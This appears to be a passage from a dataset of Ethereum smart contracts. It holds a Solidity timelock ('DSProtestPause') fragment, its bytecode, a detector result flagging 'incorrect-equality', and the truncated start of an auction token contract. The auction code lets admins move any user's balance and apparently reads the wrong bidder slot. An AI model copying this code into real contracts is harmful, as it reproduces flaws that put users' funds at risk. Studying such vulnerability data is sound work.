uint earliestExecutionTime, string memory description) public auth { bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); require(transactionDelays[partiallyHashedTx].scheduleTime > 0, "ds-protest-pause-cannot-attach-for-null"); emit AttachTransactionDescription(msg.sender, usr, codeHash, parameters, earliestExecutionTime, description); } function protestAgainstTransaction(address usr, bytes32 codeHash, bytes calldata parameters) external { require(msg.sender == protester, "ds-protest-pause-sender-not-protester"); require(addition(protesterLifetime, deploymentTime) > now, "ds-protest-pause-protester-lifetime-passed"); bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); require(transactionDelays[partiallyHashedTx].scheduleTime > 0, "ds-protest-pause-null-inexistent-transaction"); require(!transactionDelays[partiallyHashedTx].protested, "ds-protest-pause-tx-already-protested"); require( now < protestDeadline(partiallyHashedTx), "ds-protest-pause-exceed-protest-deadline" ); transactionDelays[partiallyHashedTx].protested = true; uint multipliedDelay = multiply(delay, delayMultiplier); if (multipliedDelay > MAX_DELAY) { multipliedDelay = MAX_DELAY; } if (transactionDelays[partiallyHashedTx].totalDelay < multipliedDelay) { transactionDelays[partiallyHashedTx].totalDelay = multipliedDelay; } emit ProtestAgainstTransaction(msg.sender, usr, codeHash, parameters, transactionDelays[partiallyHashedTx].totalDelay); } function abandonTransaction(address usr, bytes32 codeHash, bytes calldata parameters, uint earliestExecutionTime) external auth { bytes32 fullyHashedTx = getTransactionDataHash(usr, codeHash, parameters, earliestExecutionTime); bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); require(transactionDelays[partiallyHashedTx].scheduleTime > 0, "ds-protest-pause-cannot-abandon-null"); scheduledTransactions[fullyHashedTx] = false; delete(transactionDelays[partiallyHashedTx]); currentlyScheduledTransactions = subtract(currentlyScheduledTransactions, 1); emit AbandonTransaction(msg.sender, usr, codeHash, parameters, earliestExecutionTime); } function executeTransaction(address usr, bytes32 codeHash, bytes calldata parameters, uint earliestExecutionTime) external returns (bytes memory out) { bytes32 fullyHashedTx = getTransactionDataHash(usr, codeHash, parameters, earliestExecutionTime); bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); uint executionStart = addition(transactionDelays[partiallyHashedTx].scheduleTime, transactionDelays[partiallyHashedTx].totalDelay); require(scheduledTransactions[fullyHashedTx], "ds-protest-pause-inexistent-transaction"); require(getExtCodeHash(usr) == codeHash, "ds-protest-pause-wrong-codehash"); require(now >= executionStart, "ds-protest-pause-premature-exec"); require(now < addition(executionStart, EXEC_TIME), "ds-protest-pause-expired-tx"); scheduledTransactions[fullyHashedTx] = false; delete(transactionDelays[partiallyHashedTx]); currentlyScheduledTransactions = subtract(currentlyScheduledTransactions, 1); emit ExecuteTransaction(msg.sender, usr, codeHash, parameters, earliestExecutionTime); out = proxy.executeTransaction(usr, parameters); require(proxy.owner() == address(this), "ds-protest-pause-illegal-storage-change"); } // --- Internal --- function schedule(address usr, bytes32 codeHash, bytes memory parameters, uint earliestExecutionTime) internal { require(subtract(earliestExecutionTime, now) <= MAX_DELAY, "ds-protest-pause-delay-not-within-bounds"); require(earliestExecutionTime >= addition(now, delay), "ds-protest-pause-delay-not-respected"); bytes32 fullyHashedTx = getTransactionDataHash(usr, codeHash, parameters, earliestExecutionTime); bytes32 partiallyHashedTx = getTransactionDataHash(usr, codeHash, parameters); require(transactionDelays[partiallyHashedTx].scheduleTime == 0, "ds-protest-pause-cannot-schedule-same-tx-twice"); require(currentlyScheduledTransactions < maxScheduledTransactions, "ds-protest-pause-too-many-scheduled"); currentlyScheduledTransactions = addition(currentlyScheduledTransactions, 1); scheduledTransactions[fullyHashedTx] = true; transactionDelays[partiallyHashedTx] = TransactionDelay(false, now, subtract(earliestExecutionTime, now)); emit ScheduleTransaction(msg.sender, usr, codeHash, parameters, earliestExecutionTime); } // --- Getters --- function getTransactionDelays(address usr, bytes32 codeHash, bytes calldata parameters) external view returns (bool, uint256, uint256) { bytes32 hashedTx = getTransactionDataHash(usr, codeHash, parameters); return ( transactionDelays[hashedTx].protested, transactionDelays[hashedTx].scheduleTime, transactionDelays[hashedTx].totalDelay ); } function getTransactionDelays(bytes32 txHash) public view returns (bool, uint256, uint256) { return ( transactionDelays[txHash].protested, transactionDelays[txHash].scheduleTime, transactionDelays[txHash].totalDelay ); } } // scheduled txs are executed in an isolated storage context to protect the pause from // malicious storage modification during plan execution contract DSPauseProxy { address public owner; modifier isAuthorized { require(msg.sender == owner, "ds-protest-pause-proxy-unauthorized"); _; } constructor() public { owner = msg.sender; } function executeTransaction(address usr, bytes memory parameters) public isAuthorized returns (bytes memory out) { bool ok; (ok, out) = usr.delegatecall(parameters); require(ok, "ds-protest-pause-delegatecall-error"); } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c806388197c8111610125578063bf7e214f116100ad578063e177246e1161007c578063e177246e14610a26578063ec55688914610a43578063ecda10f514610a4b578063f03f0c8414610a53578063f29a207414610ad657610211565b8063bf7e214f146109e8578063c315fc6a146109f0578063c673d13714610a16578063da2bcc1614610a1e57610211565b80638eacff5d116100f45780638eacff5d146108685780639fbb314c14610885578063a48659cc14610908578063b094149f146109c3578063bac7429f146109cb57610211565b806388197c81146106085780638ab4c472146106c15780638da5cb5b146106fe5780638e67cedf1461072257610211565b8063502c2451116101a857806373d06dde1161017757806373d06dde146104425780637a0c53b21461045f5780637a9e5e4b146104e25780637ca0030c146105085780638176292f1461051057610211565b8063502c24511461032c5780635c8bb90a146103345780636a42b8f8146103b75780636d7e7633146103bf57610211565b80632c61bf33116101e45780632c61bf33146102f757806335a27e05146102ff5780634125ff901461031c57806346d421cd1461032457610211565b8063038728a3146102165780630f385ee61461023057806313af4035146102c757806313c90b25146102ef575b600080fd5b61021e610bad565b60408051918252519081900360200190f35b6102b36004803603606081101561024657600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561027557600080fd5b82018360208201111561028757600080fd5b803590602001918460018302840111600160201b831117156102a857600080fd5b509092509050610bb2565b604080519115158252519081900360200190f35b6102ed600480360360208110156102dd57600080fd5b50356001600160a01b0316610c30565b005b61021e610ccd565b61021e610cdb565b6102b36004803603602081101561031557600080fd5b5035610ce0565b61021e610cf5565b61021e610cfc565b61021e610d03565b6102ed6004803603608081101561034a57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561037957600080fd5b82018360208201111561038b57600080fd5b803590602001918460018302840111600160201b831117156103ac57600080fd5b919350915035610d09565b61021e610f23565b6102ed600480360360608110156103d557600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561040457600080fd5b82018360208201111561041657600080fd5b803590602001918460018302840111600160201b8311171561043757600080fd5b509092509050610f29565b61021e6004803603602081101561045857600080fd5b5035611210565b6102ed6004803603608081101561047557600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a457600080fd5b8201836020820111156104b657600080fd5b803590602001918460018302840111600160201b831117156104d757600080fd5b919350915035611263565b6102ed600480360360208110156104f857600080fd5b50356001600160a01b031661130b565b61021e6113a4565b6105936004803603608081101561052657600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561055557600080fd5b82018360208201111561056757600080fd5b803590602001918460018302840111600160201b8311171561058857600080fd5b9193509150356113aa565b6040805160208082528351818301528351919283929083019185019080838360005b838110156105cd5781810151838201526020016105b5565b50505050905090810190601f1680156105fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61021e6004803603606081101561061e57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561064d57600080fd5b82018360208201111561065f57600080fd5b803590602001918460018302840111600160201b8311171561068057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506118c8945050505050565b6106de600480360360208110156106d757600080fd5b503561197e565b604080519315158452602084019290925282820152519081900360600190f35b6107066119a1565b604080516001600160a01b039092168252519081900360200190f35b6102ed600480360360a081101561073857600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561076757600080fd5b82018360208201111561077957600080fd5b803590602001918460018302840111600160201b8311171561079a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092958435959094909350604081019250602001359050600160201b8111156107f457600080fd5b82018360208201111561080657600080fd5b803590602001918460018302840111600160201b8311171561082757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506119b0945050505050565b6102ed6004803603602081101561087e57600080fd5b5035611bb7565b61021e6004803603606081101561089b57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156108ca57600080fd5b8201836020820111156108dc57600080fd5b803590602001918460018302840111600160201b831117156108fd57600080fd5b509092509050611c8c565b61021e6004803603608081101561091e57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561094d57600080fd5b82018360208201111561095f57600080fd5b803590602001918460018302840111600160201b8311171561098057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611d28915050565b610706611de7565b6102b3600480360360208110156109e157600080fd5b5035611df6565b610706611e28565b6102ed60048036036020811015610a0657600080fd5b50356001600160a01b0316611e37565b61021e611ede565b61021e611ee4565b6102ed60048036036020811015610a3c57600080fd5b5035611eea565b610706611fb4565b61021e611fc3565b6106de60048036036060811015610a6957600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b811115610a9857600080fd5b820183602082011115610aaa57600080fd5b803590602001918460018302840111600160201b83111715610acb57600080fd5b509092509050611fc9565b6102ed600480360360a0811015610aec57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b811115610b1b57600080fd5b820183602082011115610b2d57600080fd5b803590602001918460018302840111600160201b83111715610b4e57600080fd5b91939092823592604081019060200135600160201b811115610b6f57600080fd5b820183602082011115610b8157600080fd5b803590602001918460018302840111600160201b83111715610ba257600080fd5b50909250905061203f565b600a81565b600080610bf6868686868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b90506000610c038261197e565b505090508015610c1857600092505050610c28565b610c21826121b9565b4210925050505b949350505050565b6004546001600160a01b03163314610c7d576040805162461bcd60e51b815260206004820152601f602482015260008051602061287b833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b66141493d51154d560ca1b81565b600381565b60026020526000908152604090205460ff1681565b6224ea0081565b6203f48081565b60075481565b610d1f336000356001600160e01b0319166121fa565b610d67576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6000610dac868686868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250889250611d28915050565b90506000610df1878787878080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b600081815260036020526040902060010154909150610e415760405162461bcd60e51b81526004018080602001828103825260248152602001806127dd6024913960400191505060405180910390fd5b6000828152600260208181526040808420805460ff1990811690915585855260039092528320805490911681556001818101849055910191909155600854610e88916122e1565b60085560408051338082526001600160a01b038a1660208301529181018890526080810185905260a0606082018181529082018790527f19f670e9f64960f182a1e1ef9658b459f5e6524967a782976873982493d51dcc92918a918a918a918a918a9160c08201858580828437600083820152604051601f909101601f1916909201829003995090975050505050505050a150505050505050565b60065481565b6005546001600160a01b03163314610f725760405162461bcd60e51b81526004018080602001828103825260258152602001806127906025913960400191505060405180910390fd5b42610f81600a54600954612339565b11610fbd5760405162461bcd60e51b815260040180806020018281038252602a815260200180612766602a913960400191505060405180910390fd5b6000611000858585858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b6000818152600360205260409020600101549091506110505760405162461bcd60e51b815260040180806020018281038252602c815260200180612825602c913960400191505060405180910390fd5b60008181526003602052604090205460ff161561109e5760405162461bcd60e51b815260040180806020018281038252602581526020018061289b6025913960400191505060405180910390fd5b6110a7816121b9565b42106110e45760405162461bcd60e51b81526004018080602001828103825260288152602001806127b56028913960400191505060405180910390fd5b6000818152600360205260408120805460ff1916600117905560065460075461110d9190612391565b90506224ea0081111561112057506224ea005b60008281526003602052604090206002015481111561114e5760008281526003602052604090206002018190555b7f6fd90a25d2905ed1a9fa397321bfb31122e69d921362cc3563c0193cde28a1793387878787600360008981526020019081526020016000206002015460405180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001858152602001806020018381526020018281038252858582818152602001925080828437600083820152604051601f909101601f1916909201829003995090975050505050505050a1505050505050565b60008061121c8361197e565b50509050801561123057600091505061125e565b600061123b846121b9565b905080421061124f5760009250505061125e565b61125981426122e1565b925050505b919050565b611279336000356001600160e01b0319166121fa565b6112c1576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b611304858585858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506123fd915050565b5050505050565b6004546001600160a01b03163314611358576040805162461bcd60e51b815260206004820152601f602482015260008051602061287b833981519152604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b60085481565b606060006113f1878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250899250611d28915050565b90506000611436888888888080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b60008181526003602052604081206001810154600290910154929350909161145e9190612339565b60008481526002602052604090205490915060ff166114ae5760405162461bcd60e51b81526004018080602001828103825260278152602001806127186027913960400191505060405180910390fd5b876114b88a612696565b1461150a576040805162461bcd60e51b815260206004820152601f60248201527f64732d70726f746573742d70617573652d77726f6e672d636f64656861736800604482015290519081900360640190fd5b8042101561155f576040805162461bcd60e51b815260206004820152601f60248201527f64732d70726f746573742d70617573652d7072656d61747572652d6578656300604482015290519081900360640190fd5b61156c816203f480612339565b42106115bf576040805162461bcd60e51b815260206004820152601b60248201527f64732d70726f746573742d70617573652d657870697265642d74780000000000604482015290519081900360640190fd5b6000838152600260208181526040808420805460ff1990811690915586855260039092528320805490911681556001818101849055910191909155600854611606916122e1565b60085560408051338082526001600160a01b038c1660208301529181018a90526080810187905260a0606082018181529082018990527fbae5be3f949c87c0bd7e9621bca029342a17cb7d1df869ca8200e1bc1a530a0392918c918c918c918c918c9160c08201858580828437600083820152604051601f909101601f1916909201829003995090975050505050505050a16004805460408051631b283e0560e21b81526001600160a01b038d811694820194855260248201928352604482018b905290921692636ca0f814928d928c928c92909190606401848480828437600081840152601f19601f820116905080830192505050945050505050600060405180830381600087803b15801561171c57600080fd5b505af1158015611730573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561175957600080fd5b8101908080516040519392919084600160201b82111561177857600080fd5b90830190602082018581111561178d57600080fd5b8251600160201b8111828201881017156117a657600080fd5b82525081516020918201929091019080838360005b838110156117d35781810151838201526020016117bb565b50505050905090810190601f1680156118005780820380516001836020036101000a031916815260200191505b50604081815260048054638da5cb5b60e01b84529151969a5030966001600160a01b039092169550638da5cb5b94508083019350602092829003018186803b15801561184b57600080fd5b505afa15801561185f573d6000803e3d6000fd5b505050506040513d602081101561187557600080fd5b50516001600160a01b0316146118bc5760405162461bcd60e51b81526004018080602001828103825260278152602001806128c06027913960400191505060405180910390fd5b50505095945050505050565b600083838360405160200180846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561192b578181015183820152602001611913565b50505050905090810190601f1680156119585780820380516001836020036101000a031916815260200191505b509450505050506040516020818303038152906040528051906020012090509392505050565b60009081526003602052604090208054600182015460029092015460ff90911692565b6001546001600160a01b031681565b6119c6336000356001600160e01b0319166121fa565b611a0e576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6000611a1b8686866118c8565b600081815260036020526040902060010154909150611a6b5760405162461bcd60e51b815260040180806020018281038252602781526020018061273f6027913960400191505060405180910390fd5b7f505c1eb27378c37a41d53c8aec2f093887260868fb644b4258275232318c828533878787878760405180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b031681526020018581526020018060200184815260200180602001838103835286818151815260200191508051906020019080838360005b83811015611b0f578181015183820152602001611af7565b50505050905090810190601f168015611b3c5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b83811015611b6f578181015183820152602001611b57565b50505050905090810190601f168015611b9c5780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a1505050505050565b6004546001600160a01b03163314611c04576040805162461bcd60e51b815260206004820152601f602482015260008051602061287b833981519152604482015290519081900360640190fd5b611c166001821015600383111561269a565b611c515760405162461bcd60e51b815260040180806020018281038252602a815260200180612851602a913960400191505060405180910390fd5b60078190556040805182815290517f2ec27ddc3ce8a0a402680c420435a185e37348e12b30574afdf5f703b479f4a89181900360200190a150565b600080611cd0868686868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b90506000611cdd8261197e565b505090508015611cf257600092505050610c28565b6000611cfd836121b9565b9050804210611d125760009350505050610c28565b611d1c81426122e1565b98975050505050505050565b60008484848460405160200180856001600160a01b03166001600160a01b0316815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611d92578181015183820152602001611d7a565b50505050905090810190601f168015611dbf5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052805190602001209050949350505050565b6005546001600160a01b031681565b600080611e028361197e565b505090508015611e1657600091505061125e565b611e1f836121b9565b42109392505050565b6000546001600160a01b031681565b6004546001600160a01b03163314611e84576040805162461bcd60e51b815260206004820152601f602482015260008051602061287b833981519152604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b03838116919091179182905560408051929091168252517fe2452d202406e6cf65a4a9538c5a9d63ddbfdf2a6ac9bac6df402afb1671da0e916020908290030190a150565b600a5481565b6101f481565b6004546001600160a01b03163314611f37576040805162461bcd60e51b815260206004820152601f602482015260008051602061287b833981519152604482015290519081900360640190fd5b6224ea00811115611f795760405162461bcd60e51b81526004018080602001828103825260288152602001806126f06028913960400191505060405180910390fd5b60068190556040805182815290517fcf57d2e955986c39a021abcc2ff70c02efcd0a4dd6ce2255a84612dd7b65ea299181900360200190a150565b6004546001600160a01b031681565b60095481565b600080600080612010888888888080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506118c892505050565b60009081526003602052604090208054600182015460029092015460ff9091169a919950975095505050505050565b612055336000356001600160e01b0319166121fa565b61209d576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6120e0878787878080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508992506123fd915050565b7f505c1eb27378c37a41d53c8aec2f093887260868fb644b4258275232318c8285338888888888888860405180896001600160a01b03166001600160a01b03168152602001886001600160a01b03166001600160a01b0316815260200187815260200180602001858152602001806020018381038352888882818152602001925080828437600083820152601f01601f191690910184810383528581526020019050858580828437600083820152604051601f909101601f19169092018290039c50909a5050505050505050505050a150505050505050565b600081815260036020526040812060018101546002909101546121f491906103e8906121e7906101f4612391565b816121ee57fe5b04612339565b92915050565b60006001600160a01b038316301415612215575060016121f4565b6001546001600160a01b0384811691161415612233575060016121f4565b6000546001600160a01b031661224b575060006121f4565b6000546040805163b700961360e01b81526001600160a01b0386811660048301523060248301526001600160e01b0319861660448301529151919092169163b7009613916064808301926020929190829003018186803b1580156122ae57600080fd5b505afa1580156122c2573d6000803e3d6000fd5b505050506040513d60208110156122d857600080fd5b50519392505050565b808203828111156121f4576040805162461bcd60e51b815260206004820152601e60248201527f64732d70726f746573742d70617573652d7375622d756e646572666c6f770000604482015290519081900360640190fd5b818101828110156121f4576040805162461bcd60e51b815260206004820152601d60248201527f64732d70726f746573742d70617573652d6164642d6f766572666c6f77000000604482015290519081900360640190fd5b60008115806123ac575050808202828282816123a957fe5b04145b6121f4576040805162461bcd60e51b815260206004820152601c60248201527f64732d70726f746573742d70617573652d6d756c2d696e76616c696400000000604482015290519081900360640190fd5b6224ea0061240b82426122e1565b11156124485760405162461bcd60e51b81526004018080602001828103825260288152602001806126f06028913960400191505060405180910390fd5b61245442600654612339565b8110156124925760405162461bcd60e51b81526004018080602001828103825260248152602001806128016024913960400191505060405180910390fd5b60006124a085858585611d28565b905060006124af8686866118c8565b600081815260036020526040902060010154909150156125005760405162461bcd60e51b815260040180806020018281038252602e81526020018061269f602e913960400191505060405180910390fd5b600a600854106125415760405162461bcd60e51b81526004018080602001828103825260238152602001806126cd6023913960400191505060405180910390fd5b61254e6008546001612339565b6008556000828152600260209081526040808320805460ff1916600117905580516060810182529283524291830182905282019061258d9086906122e1565b905260008281526003602090815260408083208451815460ff1916901515178155848301516001820155938101516002909401939093558251338082526001600160a01b038b16828401529381018990526080810187905260a06060820181815289519183019190915288517fd99627fa179d953420bfbb83759e2db161c59aecb8259d7b3675aea985c95e0595948c948c948c948c949193909260c0850192908701918190849084905b83811015612650578181015183820152602001612638565b50505050905090810190601f16801561267d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505050505050565b3f90565b169056fe64732d70726f746573742d70617573652d63616e6e6f742d7363686564756c652d73616d652d74782d747769636564732d70726f746573742d70617573652d746f6f2d6d616e792d7363686564756c656464732d70726f746573742d70617573652d64656c61792d6e6f742d77697468696e2d626f756e647364732d70726f746573742d70617573652d696e6578697374656e742d7472616e73616374696f6e64732d70726f746573742d70617573652d63616e6e6f742d6174746163682d666f722d6e756c6c64732d70726f746573742d70617573652d70726f7465737465722d6c69666574696d652d70617373656464732d70726f746573742d70617573652d73656e6465722d6e6f742d70726f74657374657264732d70726f746573742d70617573652d6578636565642d70726f746573742d646561646c696e6564732d70726f746573742d70617573652d63616e6e6f742d6162616e646f6e2d6e756c6c64732d70726f746573742d70617573652d64656c61792d6e6f742d72657370656374656464732d70726f746573742d70617573652d6e756c6c2d696e6578697374656e742d7472616e73616374696f6e64732d70726f746573742d70617573652d6d756c7469706c6965722d657863656564732d626f756e647364732d70726f746573742d70617573652d756e64656c617965642d63616c6c0064732d70726f746573742d70617573652d74782d616c72656164792d70726f74657374656464732d70726f746573742d70617573652d696c6c6567616c2d73746f726167652d6368616e6765a26469706673582212207854dc39b116e564e9efaad288268f213e38ac6d7675ee92ac66b77a2dc4b03f64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,863
0xa80dde977d283401703e00de0f9a9705601e2553
pragma solidity ^ 0.4.25; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; constructor() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract lepaitoken is owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public systemprice; struct putusers{ address puser;//竞拍人 uint addtime;//竞拍时间 uint addmoney; //竞拍价格 string useraddr; //竞拍人地址 } struct auctionlist{ address adduser;//添加人0 uint opentime;//开始时间1 uint endtime;//结束时间2 uint openprice;//起拍价格3 uint endprice;//最高价格4 uint onceprice;//每次加价5 uint currentprice;//当前价格6 string goodsname; //商品名字7 string goodspic; //商品图片8 bool ifend;//是否结束9 uint ifsend;//是否发货10 uint lastid;//竞拍数11 mapping(uint => putusers) aucusers;//竞拍人的数据组 mapping(address => uint) ausers;//竞拍人的竞拍价格 } auctionlist[] public auctionlisting; //竞拍中的 auctionlist[] public auctionlistend; //竞拍结束的 auctionlist[] public auctionlistts; //竞拍投诉 mapping(address => uint[]) userlist;//用户所有竞拍的订单 mapping(address => uint[]) mypostauct;//发布者所有发布的订单 mapping(address => uint) balances; //管理员帐号 mapping(address => bool) public admins; /* 冻结账户 */ mapping(address => bool) public frozenAccount; bool public actived; //0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA address btycaddress = 0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA; btycInterface constant private btyc = btycInterface(0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA); /* 通知 */ event auctconfim(address target, uint tokens);//竞拍成功通知 event getmoneys(address target, uint tokens);//获取返利通知 event Transfer(address indexed from, address indexed to, uint tokens); event FrozenFunds(address target, bool frozen); /* modifier是修改标志 */ modifier onlyadmin { require(admins[msg.sender] == true); _; } constructor() public { symbol = "BTYC"; name = "BTYC Coin"; decimals = 18; systemprice = 20000 ether; admins[owner] = true; actived = true; } /*添加拍卖 */ function addauction(uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, string goodsnames, string goodspics) public returns(uint){ uint _now = now; address addusers = msg.sender; require(actived == true); require(!frozenAccount[addusers]); require(opentimes >= _now - 1 hours); require(opentimes < _now + 2 days); require(endtimes > opentimes); //require(endtimes > _now + 2 days); require(endtimes < opentimes + 2 days); require(btyc.balanceOf(addusers) >= systemprice); auctionlisting.push(auctionlist(addusers, opentimes, endtimes, openprices, endprices, onceprices, openprices, goodsnames, goodspics, false, 0, 0)); uint lastid = auctionlisting.length; mypostauct[addusers].push(lastid); return(lastid); } //发布者发布的数量 function getmypostlastid() public view returns(uint){ return(mypostauct[msg.sender].length); } //发布者发布的订单id function getmypost(uint ids) public view returns(uint){ return(mypostauct[msg.sender][ids]); } /* 获取用户金额 */ function balanceOf(address tokenOwner) public view returns(uint balance) { return balances[tokenOwner]; } //btyc用户余额 function btycBalanceOf(address addr) public view returns(uint) { return(btyc.balanceOf(addr)); } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) private { // 防止转移到0x0 require(_to != 0x0); require(actived == true); // 检测发送者是否有足够的资金 require(balances[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balances[_to] + _value > balances[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balances[_from] + balances[_to]; // 减少发送者资产 balances[_from] -= _value; // 增加接收者的资产 balances[_to] += _value; emit Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns(bool){ _transfer(msg.sender, _to, _value); } function transferadmin(address _from, address _to, uint _value) public onlyadmin{ _transfer(_from, _to, _value); } function transferto(uint256 _value) public returns(bool){ _transfer(msg.sender, this, _value); } function addusermoney(address addr, uint money) public onlyadmin{ balances[addr] = balances[addr].add(money); emit Transfer(this, addr, money); } //用户可用余额 function canuse(address addr) public view returns(uint) { return(btyc.getcanuse(addr)); } //合约现有余额 function btycownerof() public view returns(uint) { return(btyc.balanceOf(this)); } function ownerof() public view returns(uint) { return(balances[this]); } //把合约余额转出 function sendleftmoney(address _to, uint _value) public onlyadmin{ _transfer(this, _to, _value); } /*用户竞拍*/ function inputauction(uint auctids, uint addmoneys, string useraddrs) public payable{ uint _now = now; address pusers = msg.sender; require(!frozenAccount[pusers]); require(actived == true); auctionlist storage c = auctionlisting[auctids]; require(c.ifend == false); require(c.ifsend == 0); uint userbalance = canuse(pusers); require(addmoneys > c.currentprice); require(addmoneys <= c.endprice); // uint userhasmoney = c.ausers[pusers]; require(addmoneys > c.ausers[pusers]); uint money = addmoneys - c.ausers[pusers]; require(userbalance >= money); if(c.endtime < _now) { c.ifend = true; }else{ if(addmoneys == c.endprice){ c.ifend = true; } btycsubmoney(pusers, money); c.ausers[pusers] = addmoneys; c.currentprice = addmoneys; c.aucusers[c.lastid++] = putusers(pusers, _now, addmoneys, useraddrs); userlist[pusers].push(auctids); //emit auctconfim(pusers, money); } //} } //获取用户自己竞拍的总数 function getuserlistlength(address uaddr) public view returns(uint len) { len = userlist[uaddr].length; } //查看单个订单 function viewauction(uint aid) public view returns(address addusers,uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, uint currentprices, string goodsnames, string goodspics, bool ifends, uint ifsends, uint anum){ auctionlist storage c = auctionlisting[aid]; addusers = c.adduser;//0 opentimes = c.opentime;//1 endtimes = c.endtime;//2 onceprices = c.onceprice;//3 openprices = c.openprice;//4 endprices = c.endprice;//5 currentprices = c.currentprice;//6 goodspics = c.goodspic;//7 goodsnames = c.goodsname;//8 ifends = c.ifend;//9 ifsends = c.ifsend;//10 anum = c.lastid;//11 } //获取单个订单的竞拍者数据 function viewauctionlist(uint aid, uint uid) public view returns(address pusers,uint addtimes,uint addmoneys){ auctionlist storage c = auctionlisting[aid]; putusers storage u = c.aucusers[uid]; pusers = u.puser;//0 addtimes = u.addtime;//1 addmoneys = u.addmoney;//2 } //获取所有竞拍商品的总数 function getactlen() public view returns(uint) { return(auctionlisting.length); } //获取投诉订单的总数 function getacttslen() public view returns(uint) { return(auctionlistts.length); } //获取竞拍完结的总数 function getactendlen() public view returns(uint) { return(auctionlistend.length); } //发布者设定发货 function setsendgoods(uint auctids) public { uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(!frozenAccount[msg.sender]); require(c.adduser == msg.sender); require(c.endtime < _now); require(c.ifsend == 0); c.ifsend = 1; c.ifend = true; } //竞拍者收到货物后动作 function setgetgoods(uint auctids) public { uint _now = now; require(actived == true); require(!frozenAccount[msg.sender]); auctionlist storage c = auctionlisting[auctids]; require(c.endtime < _now); require(c.ifend == true); require(c.ifsend == 1); putusers storage lasttuser = c.aucusers[c.lastid]; require(lasttuser.puser == msg.sender); c.ifsend = 2; uint getmoney = lasttuser.addmoney*70/100; btycaddmoney(c.adduser, getmoney); auctionlistend.push(c); } //获取用户的发货地址(发布者) function getuseraddress(uint auctids) public view returns(string){ auctionlist storage c = auctionlisting[auctids]; require(c.adduser == msg.sender); //putusers memory mdata = c.aucusers[c.lastid]; 